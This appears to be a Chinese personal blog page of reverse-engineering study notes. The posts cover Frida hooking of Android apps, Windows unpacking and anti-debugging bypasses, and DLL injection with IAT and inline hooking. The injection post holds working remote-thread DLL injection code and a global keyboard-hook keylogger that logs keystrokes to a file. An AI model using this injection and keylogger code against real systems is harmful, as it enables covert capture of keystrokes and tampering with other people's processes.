聪明如你,当现在的情况即是执行ret的时刻,那么后面的内容也就是传统栈溢出所需要填充的内容了;

这个时候就可以在变量上面直接地填写,不需要在变量溢出后填写;

阅读全文
Frida学习日记

下载安装和简要说明

下载:

1
pip install frida-tools

下载 github 上的 frida server,类似ida的server;

Releases · frida/frida (github.com)

需要下载的名称为:frida-server-16.0.10-android-arm64.xz;(模拟器下载x64版本)

之后熟悉adb的使用:(需要root手机,模拟器也行但比较麻烦)

adb下载安装及使用_Dongs丶的博客-CSDN博客_adb下载

需要用到的指令:

1
2
3
4
5
6
7
8
adb devices						//查看是否连接到手机设备
adb shell //进入手机shell
adb push A/path B/path //将电脑上A路径的文件传到手机B路径上 一般B是 /sdcard
---
进入shell后操作:
su //sudo给权限
mv A/path B/path //转移(剪切)文件位置A到B,一般放到 /data/local
chmod 777 file //赋全权限

使用命令以激活server:

1
2
3
4
./frida_server64
---
电脑本机操作:
adb forward tcp:27042 tcp:27042 //转发手机端口到电脑

查看APP包名:

1
adb shell pm list packages -3

MuMu模拟器特殊说法:

1
adb connect 127.0.0.1:7555		//以usb连接到模拟器

指定设备转发端口:

1
adb -s ID forward tcp:xxx tcp:xxx

frida常用参数

执行命令: frida-ps, 展示进程应用;

1
2
3
-f			 //启动app
-R //remote
-l //load JS 脚本

如加载一个app并装载脚本:

1
frida -R -f app包名 -l 脚本.js

Frida实现调用函数

用Jeb找到包名,类名,以及函数名及其调用约定;

编写JS执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function()
{
const ClassName = Java.use("PackageName.ClassName") //定义一个类常量

//一般新建变量用let
let ObjectName = ClassName.$new() //实例化类,有静态修饰的不用做这一步
//new里面可加参数
//如实例化一个字符串类
const stringClass = Java.use("java.lang.String")
let res = ObejectName.MethodName( stringClass.$new('123') ) //执行方法且实例化并得到结果

//base64
const b64Class = Java.use("android.util.Base64")
console.log( b64Class.encodeToString(res,0) ) //打印base64编码res信息到调试窗
})

总结:

1
2
3
4
5
6
7
8
9
10
11
//开头
Java.perform(function(){}) //内容写在大括号里
---
//使用类
Java.use("PakageName.ClassName")
---
//实例化
ClassName.$new()
---
//打印信息
console.log()

Frida简单实现hook-java层

不管是否静态,可以如下书写:

1
2
3
4
5
6
7
8
9
10
ClassName.FuncName.implementation = function(p1,p2,...)
{
//your aim...
}

//同种写法
ClassName["FuncName"].implementation = function(p1,p2,...)
{
//your aim...
}

也是需要和上面的一样,先构造类常量,然后实例化;

此写法是直接覆盖原函数的内容,不会执行原本函数的内容,所以要规定好调用约定,返回对应的内容;

在改写函数中使用:

1
this.FuncName(...)   #同款写法: this["FuncName"](...)

可以实现调用此类的原函数;

如果函数有重载,则写法如下:

1
2
3
4
ClassName.FuncName.overload('').implementation = function(p1,p2,...)
{
//your aim...
}

单引号里是参数的类型,如果是基本类型,则表示法为: [B 表示为byte;

如果是类类型,则直接输入其对应包的对应类名就行,如String类型: java.lang.String

一般而言,对于java常用类的函数hook,要有过滤,即对应地方调用的参数特点做出if判断并更改代码逻辑;

因为很多地方也会调用到相同的函数,此时就直接返回 this.FuncName() ,就不会使得程序崩溃;

举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function()
{
function hookMainA()
{
let MainActivity = Java.use("com.example.challenge.MainActivity");
MainActivity["a"].implementation = function (bArr)
{
console.log(`MainActivity.a is called: bArr=${bArr}`); //拿参数
let result = this["a"](bArr); //执行原本函数
console.log(`MainActivity.a result=${result}`); //拿结果
return result;
};
}
hookMainA();
})

重载举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function()
{
function hookMainA()
{
let MainActivity = Java.use("com.example.challenge.MainActivity");
MainActivity["b"].overload('java.lang.String','[B').implementation = function (bArr,byte)
{
console.log(`MainActivity.a is called: bArr=${bArr}`); //拿参数
let result = this["a"](bArr); //执行原本函数
console.log(`MainActivity.a result=${result}`); //拿结果
return result;
};
}
hookMainA();
})

Hook so层

hook so层要注意一点,要当so文件动态链接到应用后,才能调用其函数,不然会空指针报错,这和pwn的ret2libc一个道理;

hook so一般有两种方法,这里先介绍第一种,导出表 Export,找到导出的地址;

操作so层时不用 java.use ,用拦截器: Interceptor;

这里用获取一个函数传参结构体的打印代码解释:

假设原代码:

1
a = AimFunc(a1,a2,&v16,...);

此时第三个参数便是此时需要获取的结构体地址;

在32位程序中,指针占4字节,而结构体的地址过去第一个字段是真实的结构体数据的指针,隔了4个字节之后的,是这个结构体的大小;

那么对应hook代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//此函数接收一个指针,一般指向hook函数
Interceptor.attach( Module.findExportByName('your_so.so','FuncName'), //根据so文件名和函数名通过Export找
//第二个参数是回调函数
{
//函数开始时
onEnter(args){
let size = args[2].add(0x4).readu32() //args[2]也就是函数的第三个参数,加4得到结构体地址第二个字段地址
//将内容当作指针读取,再读取真实的结构体数据
let data = args[2].readPointer().readByteArray(size)

console.log(data) //打印data
},
//函数结束时,参数为返回值
onLeave(retval){

}
}
)

此时直接跑是会报错的,因为正如前面所述,在程序开始运行的时候就直接去寻找模块了,但是因为so还没有动态地链接,所以找不到,会得到一个null指针;

此时的解决思路是:找到加载此so文件的函数,先去hook掉java层的 LoadLibrary,再对比此时传入 LoadLibrary 参数是否是目标so文件,如果是,则再实现上面的代码,如果不是,则实现原函数代码内容;

通过java层的源码分析可以知道:LoadLibrary 的实现是 调用了一个 LoadLibrary0(a1,a2,a3)去实现主要代码的,而主要代码的逻辑是:如果传入的字符串是存在的so文件,那么就会直接在其中调用 nativeLoad 函数

而 nativeload 函数也会层层调用,最后会找到一个三参的 nativeload,原型如下:

1
private static native String nativeLoad(String filename, ClassLoader loader, Class<?> caller);

此时需要hook的函数,也就是这上面这个了;

主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//因为hook java层,所以用java.use,上述目标函数在runtime里
const runtimeClass = Java.use('java.lang.Runtime')
//hook目标函数
runtimeClass.nativeLoad.overload('java.lang.String','java.lang.ClassLoader','java.lang.Class').implementation = function(p1,p2,p3)
{
//调用一次原函数,使得so文件被装载
let res = this.nativeLoad(p1,p2,p3)
//查找第一个参数里是否带目标so文件的路径字符串
if(p1.indexOf('your_so.so') != -1)
{
//hook so层实现
}
return res
}

如果想要将想要的data数据dump出,可以用以下代码(frida提供):

1
2
3
4
5
//路径 + 大小 + 后缀名 (总名称)
let file = new File('/sdcard/' + size + '.bin', 'wb')
file.write(data)
file.flush()
file.close()

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Java.perform(function(){

const runtimeClass = Java.use('java.lang.Runtime')
//hook java层加载so的函数
runtimeClass.nativeLoad.overload('java.lang.String','java.lang.ClassLoader','java.lang.Class').implementation = function(p1,p2,p3)
{

let res = this.nativeLoad(p1,p2,p3)
//找到
if(p1.indexOf('your_so.so') != -1)
{
//hook so层函数
Interceptor.attach( Module.findExportByName('your_so.so','FuncName'),
{
onEnter(args){
let size = args[2].add(0x4).readu32()
let data = args[2].readPointer().readByteArray(size)

let file = new File('/sdcard/' + size + '.bin', 'wb')
file.write(data)
file.flush()
file.close()
},
onLeave(retval){

}
}
)
}
return res
}
})

第二种找到so内目标函数的方法是,没有export的情况,需要用偏移量来进行寻址,在attach函数调用的那一步,改写为:

1
2
const so = Process.findModuleByName('your_so.so')
Interceptor.attach( so.add(offset) {/*回调内容*/})

在IDA逆so的时候,设置segement为0,可以定位函数的地址直接为偏移量;

arm汇编中,函数传参使用r0~r4;

阅读全文
Windows逆向之脱壳与反调试 基础

详细请见 wiki

之前已经讲过其概念;这里更多的是脱壳的一些技巧,记录练手;

更多术语名词在之前提及过;

单步跟踪法

单步跟踪法的原理就是通过步过 (F8), 步入(F7) 和运行到 (F4) 功能, 完整走过程序的自脱壳过程, 跳过一些循环恢复代码的片段, 并用单步进入确保程序不会略过 OEP. 这样可以在软件自动脱壳模块运行完毕后, 到达 OEP, 并 dump 程序.

要点:

  1. 打开程序按 F8 单步向下, 尽量实现向下的 jmp 跳转;
  2. 会经常遇到大的循环, 这时要多用 F4 来跳过循环;
  3. 如果函数载入时不远处就是一个 call(近 call), 那么我们尽量不要直接跳过, 而是进入这个 call;
  4. 一般跳转幅度大的 jmp 指令, 都极有可能是跳转到了原程序入口点 (OEP);

用题举例:

打开后即是一个加壳文件,并有着 pusha 指令;

直接挂在开始处启动调试;

像图一的这种call就叫近call(基本上这个函数里只有几句话加1个call);

中间图的内容是跟进到找不到近call后可以看到这一系列的call在调用windows api,什么Module,ProcAddress一类的;

再往下走就能进入一个解码循环中,最后的通路在经过一番绕之后发现在 40D15F 这个地址;

debug

继续往下走.. 之后还会有些循环,在这些循环中,向下跳的指令如果没有判断执行,很可能就是这条路,如左图所示;

跳过之后能发现 popa 指令,这与 pusha 相对应,回复其寄存器状态;

跳转到对应函数后,有push指令和retn,意思是将该十六进制内容压入栈中,并利用这个数据,返回到此十六进制地址;这便是此程序的OEP(从D000变到1000,跳转很明显);

find

ESP定律法

ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP.

由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用pushad, 在解压结束后, 会将之前的寄存器值出栈, 如使用popad. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的 OEP 位置.

简单来讲,在执行 pushad 之后, esp会确定下来,在 popad 执行后,也是此时的esp值,在此时esp栈上打个内存断点,则可检测两次esp同值时的时刻,第二次便是 popad 执行时;

要点:

  1. 程序刚载入开始 pushad/pushfd;
  2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点
  3. 运行程序, 触发断点;
  4. 删除硬件断点开始分析;

用题举例:

还是之前的那个程序:

breakpoint

执行后打开此时esp的栈中位置,打上断点,F4执行,会弹出一个硬件断点被捕获的窗口,点击后可以看到来到了上次 popa 执行之后的地方;

这个方法非常好用;

一步到达OEP法

说白了就是搜索 text 为 popad 之类的东西,然后查看其结构是不是壳的转到OEP位置的地方,然后直接在这个地方断点,直接过去;

只能说,能用的壳比较有限;一般 转到OEP处的 jmp 指令 跳转会比较大;

内存dump

找到OEP后,即可dump出脱壳后的程序:

点击 IDA 的 file > script command > 写入脚本并用 IDC 运行;

1
2
3
4
5
6
7
8
9
static main(void)
{
auto fp, begin, end, dexbyte;
fp = fopen("your\\dumped\\file\\path", "wb");
begin = r0; //OEP位置
end = r0 + r1; //r1为大小,一般填90000
for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
fputc(Byte(dexbyte), fp);
}

反调试

wiki上基本上都是说明,实际操作会来的更少,不过能了解一下,也能为后期搞反调试带来些许帮助;

NtGlobalFlag

原理:

在 32 位机器上, NtGlobalFlag字段位于PEB(进程环境块)0x68的偏移处, 64 位机器则是在偏移0xBC位置. 该字段的默认值为 0. 当调试器正在运行时, 该字段会被设置为一个特定的值,一般是0x70;

该字段包含有一系列的标志位. 由调试器创建的进程会设置以下标志位:

1
2
3
FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
FLG_HEAP_ENABLE_FREE_CHECK (0x20)
FLG_HEAP_VALIDATE_PARAMETERS (0x40)

检测其值就能判断是否处于调试中;

PEB结构在汇编中加入的形式是经典的 fs:30h 段寄存器偏移;

这时候在PEB结构上往下偏移并找到 NtGlobalFlag;

之后检测;

如下为32位系统的 debug 检测:

1
2
3
4
5
mov eax, fs:[30h] ;Process Environment Block
mov al, [eax+68h] ;NtGlobalFlag
and al, 70h
cmp al, 70h
je being_debugged

64位中, PEB结构加入形式是 gs:lodsq,也是加到eax寄存器中;

绕过的核心思想:

在eip指向 mov al, [eax+68h] 找到其内存位置并重新修改其值为 0.

对于修改 NtGlobalFlag 初值可以用注册表,这里不详细说明;

Heap Flags

Heap flags包含有两个与NtGlobalFlag一起初始化的标志: FlagsForceFlags. 这两个字段的值不仅会受调试器的影响, 还会由 windows 版本而不同, 字段的位置也取决于 windows 的版本.

  • Flags 字段:
    • 在 32 位 Windows NT, Windows 2000 和 Windows XP 中, Flags位于堆的0x0C偏移处. 在 32 位 Windows Vista 及更新的系统中, 它位于0x40偏移处.
    • 在 64 位 Windows XP 中, Flags字段位于堆的0x14偏移处, 而在 64 位 Windows Vista 及更新的系统中, 它则是位于0x70偏移处.
  • ForceFlags 字段:
    • 在 32 位 Windows NT, Windows 2000 和 Windows XP 中, ForceFlags位于堆的0x10偏移处. 在 32 位 Windows Vista 及更新的系统中, 它位于0x44偏移处.
    • 在 64 位 Windows XP 中, ForceFlags字段位于堆的0x18偏移处, 而在 64 位 Windows Vista 及更新的系统中, 它则是位于0x74偏移处.

一般而言,NtGlobalFlag 设置后,Heap Flags 也会设置;

调试器存在则:

Flags字段:

1
2
3
4
5
HEAP_GROWABLE (2)
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_SKIP_VALIDATION_CHECKS (0x10000000)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)

ForgeFlags:

1
2
3
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)

获取heap位置:

kernel32中的 GetProcessHeap();

PEB结构中查找,同样,一般动用fs,gs段寄存器就很容易是搞PEB的;

The Heap

堆在初始化时,会检查 heap flags;

设置 tail checking enable (尾部检测),那么会分配 0xABABABAB 给堆块尾;

设置 free checking enbale ,那么当需要额外字节填充堆块,会用 0xFEEEFEEE;

那么检测这些字节,可以得知是否在被调试,避免了动PEB的经典形象;

首先要先知道堆指针,且现代程序堆都会加密;

Int 3

无论何时触发了一个软件中断异常, 异常地址以及 EIP 寄存器的值都会同时指向产生异常的下一句指令. 但断点异常是其中的一个特例.

EXCEPTION_BREAKPOINT(0x80000003)异常触发时, Windows 会认定这是由单字节的 “CC“ 操作码 (也即Int 3指令) 造成的. Windows 递减异常地址以指向所认定的 “CC“ 操作码, 随后传递该异常给异常处理句柄. 但是 EIP 寄存器的值并不会发生变化.

因此, 如果使用了 CD 03(这是 Int 03 的机器码表示),那么当异常处理句柄接受控制时, 异常地址是指向 03 的位置.

IsDebuggerPresent

这个是典中典;

没调试的时候,返回的就是0;

实际上这个函数只是返回了 BeingDebugged 标志的值,也是PEB结构中的内容;

绕过:hook函数,或者改PEB表;

CheckRemoteDebuggerPresent

存在于kernel32中,检测指定的进程的调试状态;

1
2
3
4
BOOL WINAPI CheckRemoteDebuggerPresent(
_In_ HANDLE hProcess,
_Inout_ PBOOL pbDebuggerPresent
);

在被调试的时候,会将第二个参数指向的值变为0xffffffff;

简单的绕过只是将第二个参数的值在执行该函数后改变为0;

而这个函数本质是在对NtQueryInformationProcess的使用;

NtQueryInformationProcess

1
2
3
4
5
6
7
NTSTATUS WINAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle, //进程句柄
_In_ PROCESSINFOCLASS ProcessInformationClass, //信息类型
_Out_ PVOID ProcessInformation, //写入信息缓冲区
_In_ ULONG ProcessInformationLength, //缓冲区大小
_Out_opt_ PULONG ReturnLength
);

在第二个参数中,有一个信息类型叫做: ProcessDebugPort;宏为7;

此时该函数通过查询EPROCESS结构体的DebugPort字段, 当进程正在被调试时, 返回值为0xffffffff

ZwSetInformationThread

这个函数给线程设置信息,可以设置:ThreadHideFromDebugger,禁止线程调试;

处于调试状态,执行完:ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0) ,程序就会退出;

绕过:

ThreadHideFromDebugger,宏为0x11,如果看见这个函数,且有参数0x11,改之即可;

练习题:

一开始让输入password,进IDA之后就发现,密码就是很简单的 “I have a pen.”,在原程序里输入确实输出了 “correct”;但后面为何有这么多调试检测?这说明这道题的flag是需要通过调试查找的;

首先的关卡是 IsDebuggerPresent() ,以及NtGlobalFlag;

first

简单的对策便是 patch 右上图 1 为 0,右下图 70h 为 2 * 70h;

接下来遇到的是查看进程调试以及时间差;

second

首先改写 jz 为 jnz;

之后GetTickCount返回一个距离程序开始的时间,中间的图是一个sleep循环;最后比较1000;

这里只需简单粗暴改jbe为jmp;

接下来就是判断 process monitor 以及进程名,和是否虚拟机;

具体思想也是改值;

真实题里,这些反调试函数大大小小也是会比较的,但会有混淆,或者藏于线程,TLS等中去,更难发现;

而一般的题,确实大可不必去hook API,除非是线程里循环检测的反调试,一开就G的那种,但其实也可以静态patch;

还有那种判断过后卡几个call再G的反调试,真真的恶心人;

总结

熟悉了下手脱壳以及ida的 dump内存;熟悉硬件断点的使用;知晓一些简单的反调试原理;

感觉反调试原理大多与 PEB 结构有关系;所以接下来会考虑 开坑 PEB;

阅读全文
DLL注入与HOOK

首先啊,首先啊;

你得了解windows编程及其基于消息的处理机制,DllMain函数;

不然就会看不懂或者啃着异常难受核心原理第三章;

dll注入

dll为文件后缀名,称为dynamic link library,动态链接库,一般用于存储方法和函数,进程运行时动态地调用其函数;

其显示调用命令为:

1
LoadLibrary(".//your//dll's//path");

dll注入,顾名思义,将已有进程,使其调用不属于它本身的dll文件,称为dll注入;

一般用于对已经做好的软件进行升级扩展和修补漏洞,也可用于外挂;

远程线程注入

根据dll注入的本意,很轻易的可以想到通过创建远程进程的子线程对其进行 LoadLibrary 操作;

利用windows API,于是有以下操作:

1
2
3
4
5
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, ThreadProc, dll_path, 0, 0);

其中,ThreadProc 是线程回调函数,也就是线程内容,可以在其中执行 LoadLibrary;

但由于其特殊性,该回调函数的特征类似于LoadLibrary函数,都只有一个参数,而且类型可以说是一样的:

1
2
3
4
5
6
7
8
9
//回调
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);

//LoadLibrary
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);

所以创建线程可以写成如下:

1
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, dll_path, 0, 0);

但有个问题?这里的dll_path传参数是本进程的地址,如果直接这么用,那么目标进程执行时,就会造成调用越界出错;

所以需要dll_path写入目标进程,用windows API 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
char buffer[] = ".//your//dll's//path";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

之后再用str去创建线程传参,就没有问题了;

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<Windows.h>
#include<iostream>
using namespace std;

int main()
{
int pid = "your aim pid";
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
cout << "open fail !! " << endl;
return 0;
}

char buffer[] = ".//your//dll's//path";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, str, 0, 0);
if (hThread == NULL)
{
cout << "thread create err !!" << endl;
return 0;
}

//一直等待线程结束
WaitForSingleObject(hThread, -1);

//扫尾
VirtualFreeEx(hProcess, str, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

之后写一个dll具体实现,就能将其注入了;

HOOK

钩子,和网络上的抓包很类似,在上下文中设置hook,即可捕获了解到其中的执行信息;

消息 hook

你已经知道windows是基于消息操作的,也可以叫基于事件操作,那么将钩子设置在消息队列和进程之间的消息传输中,就叫消息hook;

windows提供了消息hook的API,只需要会用就行;

API 作用
SetWindowsHookEx 设置钩子
CallNextHookEx 传递钩子信息到钩子链的下一个子程序
UnHookWindowsHookEx 卸载钩子

其中有个特点需要了解:

进程如果被hook,那么有关其hook的dll会被强制归属于该进程,所以hook一般也写在dll中,也是一种dll注入的手段;

来看一个键盘记录器的实际代码;

首先是dll程序主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL APIENTRY DllMain( HMODULE hModule,					//实例句柄
DWORD ul_reason_for_call, //调用原因或可以说是时机
LPVOID lpReserved //保留字段
)
{

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //创建进程时执行
g_hInstance = hModule; //之后hook函数需要用到的实例句柄
break;
}
return TRUE;
}

之后分别是hook的设置,处理,以及卸载;

设置HOOK:

1
2
3
4
5
6
7
8
9
10
11
BOOL InstallHook()
{
//填0全局hook,这里选用键盘消息的勾取
g_hHook = SetWindowsHookExA(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

if (g_hHook)
{
return TRUE;
}
return FALSE;
}

使用回调函数处理捕获信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LRESULT CALLBACK KeyboardProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (code == HC_ACTION)
{
//键帽按下状态
if ((lParam & 0x80000000) == 0)
{
//将虚拟键转换为字符
BYTE KeyState[256]{ 0 };
if (GetKeyboardState(KeyState))
{
LONG keyinfo = lParam;
UINT keyCode = (keyinfo >> 16) & 0x00ff;
WCHAR wkeyCode = 0;
ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0);
CHAR strinfo[12] = { 0 };
sprintf_s(strinfo, _countof(strinfo), "%c", wkeyCode);

//写到桌面,这样仅仅对ascii实用
FILE* fp = NULL;
fopen_s(&fp, "C://your//path//to//Desktop//hook_log.txt", "a+");
fwrite(strinfo, 1, 1, fp);
fclose(fp);
return 0;
}
}
}
//不处理给下一个钩子,类似于窗口的回调函数最后返回
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

卸载钩子:

1
2
3
4
BOOL UnInstallHook()
{
return UnhookWindowsHookEx(g_hHook);
}

至此,一个拥有消息hook的dll文件产生了,再使用任意主程序调用即可;

IAT hook

顾名思义,此hook是对于IAT而言,IAT即 import address table ,导入地址表,在程序变为进程时,此表存储了导入函数的地址,在磁盘形态时存储的则是其函数名称,或者序号;

利用该hook可以使得改变原程序调用函数为自定义函数,当然传参需要一致,调用约定需要一致

先回顾下 IAT 结构:

先拿DOS头找到PE头,接着拿PE头找可选PE头,可选头最后一个字段是一个数组,其存放各种表的 rva;

1
2
3
4
IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; // +0000h - 数据的起始RVA
DWORD Size; // +0004h - 数据块的长度
}

下标为1的元素即为导入表,利用rva跳转到表本身,同时注意表有多个,因为导入的dll会是多个,所以记得循环遍历;

导入表中的 FirstThunk即为 IAT,同时注意,IAT有多个函数地址,也需要一次循环遍历;

IAT

由此,寻找函数地址的函数为:(输入dll名和函数名以查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//32位程序用DWORD
DWORD* GetIatAddr(const char* dllName, const char* dllFunName)
{
//获取本进程的句柄,也就是载入的exe文件
HMODULE hModule = GetModuleHandleA(0);
DWORD buffer = (DWORD)hModule;

//获取DOS头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)buffer;
//获取PE头
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + buffer);
//获取可选头
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeader->OptionalHeader;
//获取那个结构体数组
PIMAGE_DATA_DIRECTORY dataDirectory = &pOptionalHeader->DataDirectory[1];
//获取导入表
PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(dataDirectory->VirtualAddress + buffer);

//遍历导入表
while (pImportTable->Name)
{
char* name = (char *)(pImportTable->Name + buffer);
//是否dll名相同
if (!_stricmp(name, dllName))
{
//根据名字拿地址
//获取INT
PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pImportTable->OriginalFirstThunk + buffer);
//获取IAT
PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pImportTable->FirstThunk + buffer);

//同步遍历INT和IAT
while (pINT->u1.Function)
{
//按名导入
if ((pINT->u1.Ordinal & 0x80000000) == 0)
{
PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.Function + buffer);
if (!strcmp(pImportName->Name, dllFunName))
{
return (DWORD*)pIAT;
}
}
pINT++;
pIAT++;
}
}
pImportTable++;
}

return NULL;
}

接着便是dllMain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{

switch (ul_reason_for_call)
{
//创建进程时获取函数地址,此次修改的函数是MessageBoxW
case DLL_PROCESS_ATTACH:
printf("注入成功!\n");
//获取函数地址
g_iatAddr = GetIatAddr("user32.dll", "MessageBoxW");
g_preIatAddr = g_iatAddr;

//设置钩子
InstallHook();
break;
//进程结束时卸载钩子
case DLL_PROCESS_DETACH:
//卸载钩子
UnInstallHook();
break;
}
return TRUE;
}

BOOL InstallHook()
{
DWORD oldProtect = 0;
//更改IAT处可写权限
VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
//更改函数地址
*g_iatAddr = (DWORD)Hack;
VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect);
return TRUE;
}

BOOL UnInstallHook()
{
DWORD oldProtect = 0;
//更改IAT处可写权限
VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
//还原更改的IAT
*g_iatAddr = (DWORD)g_preIatAddr;
VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect);
return TRUE;
}

Inline hook

IAT hook 是有缺陷的,即若导入函数无名就会失去作用;

而知道的是,IAT hook 的主要思路就是改变所hook函数的地址

既然要hook一个函数,那么这个函数一定会调用,则inline hook 的主旨便是:

进入目标函数时执行跳转,跳转到自实现函数里去;意思就是更改其第一条汇编码为 jmp aimAddr ;

具体实现则是更改其第一条指令对应的硬编码,也就是机械码,二进制内容;

对于32位程序的x86而言,jmp指令会占 5 个字节,第一个固定 E9 为 jmp指令,后面跟随的4个字节为偏移;

该偏移的计算公式为 : offset = aimAddr - jmp指令的下一条地址;

也就是 : offset = aimAddr - jmp指令地址 - 5;

那么主要的dll构造思路为:

  1. 拿到目标函数地址,存档其前5字节内容,因为要恢复;
  2. 算出偏移并更改目标地址前5字节内容为跳转;
  3. 执行自实现函数的处理部分;
  4. 恢复5字节内容;

由此全局存储变量:

1
2
3
4
//分别是目标函数地址,保留5字节和修改5字节
DWORD aimAddr = 0;
char oldBytes[5] = { 0 };
char newBytes[5] = { 0xE9 };

则有初始化函数实现思路中 1,2 中的算偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL InitHook()
{
HMODULE hModule = LoadLibraryA("user32.dll");
if (hModule == 0) return FALSE;
//获取真实的地址
aimAddr = (DWORD)GetProcAddress(hModule, "MessageBoxW");
//保留5字节
memcpy(oldBytes, (char*)aimAddr, 5);
//偏移搞定,hack为自定义函数
DWORD offset = (DWORD)Hack - aimAddr - 5;
//修改5字节
memcpy(&newBytes[1], &offset, 4);

return TRUE;
}

装载和卸载钩子以实现 2,4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BOOL InstallHook()
{
DWORD oldProtect = 0;
VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
//修改为跳转
memcpy((char*)aimAddr, newBytes, 5);
VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);

return TRUE;
}

BOOL UnInstallHook()
{
DWORD oldProtect = 0;
VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
//恢复
memcpy((char*)aimAddr, oldBytes, 5);
VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);

return TRUE;
}

最后由自定义函数实现思路 3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int WINAPI Hack(
HWND hWnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType
)
{
//调用原本函数的输出想要的效果
UnInstallHook();
int result = MessageBoxW(0, L"hacker~", L"提示", MB_OK);
InstallHook();

return result;
}

同理,进程创建时初始化和挂钩,进程结束时解钩;

总体来说写法会比 IAT hook 更轻松;

总结

刚入门dll注入系列以及hook,开始发现很有意思;

注意啊,hook的函数需要和原函数保持一致,包括调用约定和参数!!!

阅读全文
Windows编程

重要头文件:windows.h;

word 是字,占2个字节;

不会的函数可以去微软查出来,vs里选中F1;

链接器 子系统 选择 窗口;

